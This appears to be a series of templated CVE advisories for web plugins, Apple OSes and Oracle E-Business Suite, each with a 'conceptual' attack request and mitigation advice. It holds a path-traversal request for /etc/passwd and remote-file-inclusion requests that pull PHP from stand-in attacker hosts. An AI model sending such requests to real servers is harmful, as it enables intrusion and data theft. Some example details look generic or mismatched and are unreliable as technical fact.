Author: Ameeba

Overview

A critical directory traversal vulnerability has been identified in PHPGurukul’s Pre-School Enrollment System. This vulnerability, documented as CVE-2025-28072, allows an attacker to gain unauthorized access to sensitive files and directories, potentially leading to system compromise or data leakage. This vulnerability is significant as it impacts educational institutions that rely on this system for their operations.

Vulnerability Summary

CVE ID: CVE-2025-28072
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

PHPGurukul Pre-School Enrollment System | All versions prior to the patch

How the Exploit Works

An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing relative path sequences to the ‘manage-teachers.php’ endpoint. The application fails to validate these sequences, allowing the attacker to traverse directories, potentially gaining access to sensitive files and system data.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited:

GET /manage-teachers.php?file=../../../etc/passwd HTTP/1.1
Host: vulnerable-school.com

In this example, the attacker is attempting to access the ‘/etc/passwd’ file, which contains user account information. The ‘../’ sequences allow the attacker to move up in the directory structure, potentially accessing unauthorized files.

Mitigation Guidance

In order to mitigate this vulnerability, it is recommended to apply the vendor-provided patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to block or alert on any suspicious directory traversal attempts. Additionally, input validation controls should be implemented to ensure that file paths containing relative path sequences are properly sanitized.

Overview

This report discusses the critical vulnerability CVE-2025-31200, a memory corruption issue that affects Apple devices. This vulnerability is significant because it can potentially lead to system compromise or data leakage. It has also been reported that this vulnerability has been exploited in highly sophisticated attacks targeting specific individuals on iOS.

Vulnerability Summary

CVE ID: CVE-2025-31200
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

tvOS | 18.4.1
visionOS | 2.4.1
iOS | iOS 18.4.1
iPadOS | 18.4.1
macOS Sequoia | 15.4.1

How the Exploit Works

The exploit takes advantage of a memory corruption issue in the processing of an audio stream in a maliciously crafted media file. This can potentially lead to arbitrary code execution. The attacker needs to trick the target into processing the malicious media file, for instance, by embedding it into a webpage or sending it via email.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. Note that this is not actual exploit code, but a simplified representation to illustrate the attack.

GET /malicious_media_file.m4a HTTP/1.1
Host: attacker.example.com
User-Agent: VLC/3.0.8 LibVLC/3.0.8
Accept: */*
Referer: http://attacker.example.com/malicious_website.html

In the above example, the target plays the malicious media file hosted on the attacker’s server using a vulnerable version of an audio player. Once the file is processed, the exploit is triggered, leading to potential system compromise or data leakage.

Overview

The vulnerability CVE-2025-39592 is a major security concern that affects the WP Shuffle Subscribe to Unlock Lite plugin. It allows for an improper control of filename for Include/Require Statement in PHP Program, leading to a PHP Remote File Inclusion. This vulnerability provides potential attackers the means to compromise a system and possibly extract sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-39592
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WP Shuffle Subscribe to Unlock Lite | n/a – 1.3.0

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when an application’s control mechanisms fail to properly sanitize input for file inclusion calls to ‘include()’ or ‘require()’. This enables an attacker to manipulate the input and inject pathnames that can lead to the inclusion of remote files hosted on a different server. This could allow the attacker to execute arbitrary code on the affected system.

Conceptual Example Code

In the context of a web-based PHP application, the exploit may be initiated using a simple HTTP GET request that includes a manipulated query parameter, which would be used to include a malicious file from an external source.

GET /index.php?page=http://malicious-website.com/malicious-code.txt HTTP/1.1
Host: vulnerable-website.com

In this example, the ‘page’ parameter is manipulated to include a malicious PHP script hosted on an external server. This script will be executed in the context of the vulnerable application, potentially leading to a complete system compromise.

Overview

The vulnerability identified as CVE-2025-39584 is a critical security flaw that exploits the improper control of filename for the Include/Require statement in PHP programs. It particularly affects the Themewinter Eventin, potentially compromising the system or leading to data leakage. Hence, it is crucial for organizations and users running affected versions of Eventin to take immediate steps to mitigate this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-39584
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Themewinter Eventin | Up to 4.0.25

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for Include/Require statement in PHP programs within Themewinter Eventin. This allows an attacker to include a file from remote servers, leading to PHP Local File Inclusion. Consequently, the attacker can execute arbitrary code, potentially compromising the system, or leading to data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example represents a HTTP POST request with a malicious payload.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include": "http://malicious.example.com/evil-script.php" }

In this example, the `include` statement is used to call a malicious PHP file (`evil-script.php`) from a remote server (`malicious.example.com`). This could lead to the execution of arbitrary code on the victim’s server.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch immediately. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. Regular security audits and code reviews can also help in identifying and rectifying such vulnerabilities in time.

Overview

The CVE-2025-3698 vulnerability exposes an interface in the com.transsion.carlcare mobile application, leading to a potential risk of information leakage. This security flaw affects all users of the said mobile application and poses a significant threat to the integrity and confidentiality of user data. It is crucial to address this vulnerability due to its high severity score and the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-3698
Severity: High (CVSS:7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

com.transsion.carlcare Mobile Application | All versions prior to vendor patch

How the Exploit Works

The exploit takes advantage of the exposed interface in the mobile application by sending specially crafted malicious requests. These requests can bypass standard security measures and access sensitive information, leading to data leakage. Moreover, if the accessed information includes system-level data, it could potentially lead to system compromise.

Conceptual Example Code

Consider the following conceptual example of how this vulnerability might be exploited:

POST /exposed_interface_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

In this example, an attacker sends a POST request to the exposed interface endpoint with a malicious payload. The server, failing to properly validate and sanitize the request, processes the malicious payload leading to data leakage or possibly system compromise.

Recommendations for Mitigation

Users are recommended to apply the vendor-provided patch to fix this vulnerability. In case the patch is not immediately available or applicable, users can temporarily mitigate the risk by using Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) to monitor, detect, and block malicious requests targeting the exposed interface. Regularly updating and patching the software will also protect against such vulnerabilities.

Overview

CVE-2025-27011 is a significant vulnerability that affects the Magepeopleteam Booking and Rental Manager. This flaw leverages an improper control of the filename for Include/Require Statement in the PHP program. This exploitation can potentially lead to system compromise or data leakage, making it a considerable threat to system administrators and users of the affected software.

Vulnerability Summary

CVE ID: CVE-2025-27011
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Magepeopleteam Booking and Rental Manager | n/a through 2.2.8

How the Exploit Works

The exploit works by allowing an attacker to control the filename in a PHP include/require statement. This is done through a remote file inclusion vulnerability, allowing an attacker to execute arbitrary PHP code. The attacker can manipulate the input to these statements to reference a file of their choosing, often on a remote system under their control. This could result in the execution of arbitrary code, leading to unauthorized access, data leakage, or even a system compromise.

Conceptual Example Code

This conceptual example demonstrates how the vulnerability might be exploited. The attacker sends a POST request with a malicious payload to a vulnerable endpoint.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "http://attacker.com/malicious_script.php" }

In this example, the “malicious_payload” would cause the server to include and execute the PHP code located at the specified URL, potentially leading to a system compromise.

Overview

The cybersecurity industry has identified a high-severity vulnerability, CVE-2025-27008, which affects NotFound Unlimited Timeline. This Missing Authorization vulnerability has the potential to compromise systems or lead to data leakage. Given the widespread usage of Unlimited Timeline, the discovery of this vulnerability is significant and warrants immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-27008
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

NotFound Unlimited Timeline | All versions before patch

How the Exploit Works

The vulnerability stems from a lack of proper access control list (ACL) constraints in Unlimited Timeline. An attacker can exploit this by sending specially crafted requests to access functionalities that should be restricted. This could allow unauthorized access to sensitive data or even full system control, depending on the data and functionalities exposed.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /unprotected_functionality HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

In this example, the attacker sends a POST request to a functionality that should be protected by ACLs. The “malicious_payload” could be designed to retrieve sensitive data or execute unauthorized commands.

Mitigation Guidance

Users of NotFound Unlimited Timeline are advised to apply the vendor’s patch as soon as it is available. In the meantime, or if a patch is not feasible, using a web application firewall (WAF) or intrusion detection system (IDS) could provide temporary mitigation. However, this would not completely eliminate the risk and is only a temporary solution until the patch can be applied.

Overview

This report discusses CVE-2025-26953, a missing authorization vulnerability in NotFound JetMenu. This plugin vulnerability could allow attackers to bypass Access Control Lists (ACLs), potentially leading to system compromise or data leakage. It is a significant concern for all users of JetMenu versions up to 2.4.9, as it may result in unauthorized access to functionality not properly constrained by ACLs.

Vulnerability Summary

CVE ID: CVE-2025-26953
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

JetMenu | Up to 2.4.9

How the Exploit Works

The exploit takes advantage of a missing authorization flaw in JetMenu. An attacker can send specific requests to certain endpoints which are not properly constrained by ACLs. This allows the attacker to access and possibly modify data or functionality that they should not have access to, potentially leading to system compromise or data leakage.

Conceptual Example Code

An attacker could send a request similar to the following to exploit the vulnerability:

POST /unauthorized/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "unauthorized_request": "..." }

In this example, “unauthorized_request” represents data or functionality that the attacker is not authorized to access or modify, but due to the missing authorization vulnerability in JetMenu, the system erroneously processes the request.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor-supplied patch. If the patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure by blocking or alerting on attempts to exploit this vulnerability.

Overview

The vulnerability dubbed CVE-2025-26730 impacts the NotFound Macro Calculator, specifically versions available from the initial release through 1.0. The flaw relates to the exposure of sensitive system information to an unauthorized control sphere. This could potentially lead to system compromise or data leakage, making it a significant concern for users of the affected software.

Vulnerability Summary

CVE ID: CVE-2025-26730
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

NotFound Macro Calculator with Admin Email Optin & Data | n/a through 1.0

How the Exploit Works

CVE-2025-26730 exploits a vulnerability in the NotFound Macro Calculator software which allows unauthorized access to sensitive system information. An attacker could exploit this vulnerability by sending a specially crafted request to the server, causing it to expose sensitive system information. This information could be used for further attacks or even to compromise the entire system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example is a malicious HTTP request:

POST /vulnerable/system-info HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "exploit_payload": "request_system_info" }

In this example, the attacker sends a POST request to the vulnerable /system-info endpoint. The server, upon receiving the request, inadvertently exposes sensitive system information that could be used for further attacks or system compromise.

Overview

CVE-2025-30730 represents a significant vulnerability found within Oracle’s E-Business Suite, specifically the Application Object Library. This vulnerability, if exploited, can lead to a Denial of Service (DOS) attack. As Oracle E-Business Suite is widely used across various industries, the potential impact and reach of this vulnerability is substantial, potentially leading to significant downtime and associated financial loss.

Vulnerability Summary

CVE ID: CVE-2025-30730
Severity: High (7.5 CVSS)
Attack Vector: Network access via HTTP
Privileges Required: None
User Interaction: None
Impact: Unauthorized ability to cause a hang or frequently repeatable crash (complete DOS)

Affected Products

Product | Affected Versions

Oracle Application Object Library | 12.2.5-12.2.14

How the Exploit Works

The vulnerability is a result of inadequate access controls within the Oracle Application Object Library. An unauthenticated attacker, with network access via HTTP, can send specially crafted requests to a vulnerable component. Successful exploitation can result in a Denial of Service (DoS) attack, causing the Oracle Application Object Library to hang or crash repeatedly.

Conceptual Example Code

An attacker might exploit the vulnerability using a malicious HTTP request similar to this:

GET /oracle-app-obj-library/vulnerable-component HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: */*
Connection: keep-alive

The actual malicious payload would be unique to the specific vulnerability and would be crafted to exploit the specific flaw within the Oracle Application Object Library.

Mitigation Guidance

The best mitigation strategy for CVE-2025-30730 is to apply the vendor-supplied patch. In the absence of a patch, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by monitoring for and blocking malicious traffic patterns matching this exploit.